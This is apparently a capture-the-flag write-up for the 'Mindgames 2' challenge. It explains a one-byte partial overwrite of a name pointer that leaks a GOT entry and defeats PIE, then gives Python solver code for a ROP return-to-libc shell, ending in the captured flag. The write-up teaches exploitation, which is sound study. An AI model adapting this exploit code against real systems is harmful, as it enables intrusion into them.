Tags: pwnscripts rop
Rating: 5.0
# Mindgames 2
*This time I hardened my mind even better. No way you are gonna win this one!*
`nc pwn.institute 41337`
If you didn't know, the library used in the solution code here is [`pwnscripts`](https://github.com/152334H/pwnscripts)
## Differences
There's essentially only 1 difference between mindgames 1336 & 1337:
```python
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
PIE is enabled! Ain't that grand.
If you scroll up a little bit to my previous challenge's writeup, you'll realise that my previous exploit only works if PIE is disabled. To finish the challenge here, we'll need to find a different way to leak libc.
In the previous challenge, I noted that we didn't use this function in our exploit:
```c
int show_highscore() {
return printf("Current highscore:\n%d\t by \t %s\n", highscore, selected_name);
}
```
Here, it becomes important. In `set_new_highscore()`, `memcpy()` copies our input to the aptly-titled `overflow[]`:
```c
set_new_highscore() {
ssize_t n; // ST08_8
char buf[0x110]; // [rsp+10h] [rbp-110h]
printf("Give me your name: ");
selected_name = &overflow;
n = read(0, buf, 0x400);
memcpy(&overflow, buf, n); // <----- focus on this
}
```
This will naturally cause an *overflow* into a number of other variables:
```ida
LOAD:0000000000004018 off_4018 dq offset localtime ; DATA XREF: _localtime↑r
LOAD:0000000000004020 off_4020 dq offset puts ; DATA XREF: _puts↑r
LOAD:0000000000004028 off_4028 dq offset __stack_chk_fail
LOAD:0000000000004028 ; DATA XREF: ___stack_chk_fail↑r
LOAD:0000000000004030 off_4030 dq offset printf ; DATA XREF: _printf↑r
LOAD:0000000000004038 off_4038 dq offset alarm ; DATA XREF: _alarm↑r
LOAD:0000000000004040 off_4040 dq offset read ; DATA XREF: _read↑r
...
LOAD:00000000000040C0 ; char overflow[32]
LOAD:00000000000040C0 overflow db 20h dup(0) ; DATA XREF: set_new_highscore+2B↑o
LOAD:00000000000040E0 highscore dd 1 ; DATA XREF: srand_init+CC↑w
LOAD:00000000000040E4 align 8
LOAD:00000000000040E8 selected_name dq 0 ; DATA XREF: srand_init+B2↑w
LOAD:00000000000040F0 align 20h
LOAD:0000000000004100 NAMEARRAY dq offset ...
```
We can overwrite `selected_name` with this smaller overflow. The trick here is to realise that the original value of `selected_name` (`&overflow == PIE+0x40c0`) only differs from the location of the GOT table by it's least-significant-byte. Or to put it a little bit more meaningfully: if we overflow *just one byte* of `selected_name` to, e.g. `0x30`, we can leak the value of the GOT function at `overflow-0xc0+0x30` (which is `printf`).
Everything after that is really just a simple exercise in implementation. We start with a few re-definitions from the previous code to match the new exploit:
```python
context.binary = 'mindgames_1337'
context.binary.symbols = {'overflow': 0x40c0, 'selected_name': 0x40e8}
context.binary.got = {'puts':0x4020}
context.libc_database = 'libc-database'
context.libc = 'libc6_2.28-10_amd64'# from prev chal
def read_400(payload, minwins=0): # Helper function to do the set_new_highscore() overflow of 0x400 bytes
p.sendlineafter('> ', '2')
for i in range(minwins):
p.sendlineafter('>' if i else '> ', str(C.rand()))
p.sendlineafter('>' if minwins else '> ', '0')
p.recvuntil('Amazing!\n')
p.sendafter('name: ', payload)
```
Then, we leak a single libc address. We only need one address because we already know the libc id from the previous challenge.
```python
payload = b'\0'*(context.binary.symbols['selected_name']-context.binary.symbols['overflow'])
payload+= pack(context.binary.got['puts'])[:1] # Overwrite the last byte, so PIE.overflow -> PIE.puts
read_400(payload, nextrand)
p.sendlineafter('> ', str(1))
p.recvuntil('\t by \t ')
context.libc.calc_base('puts', extract_first_bytes(p.recvline(),6))
```
Finally, do a return-to-libc-system again:
```python
r = ROP(context.libc)
r.raw(b'\0'*0x118)
r.system(context.libc.symbols['str_bin_sh'])
read_400(r.chain())
p.interactive()
```
It hardly ever changes.
```python
[*] Switching to interactive mode
$ ls
flag
mindgames
$ cat flag
BCTF{and_n0w_y0u_ate_my_PIE?}
$
```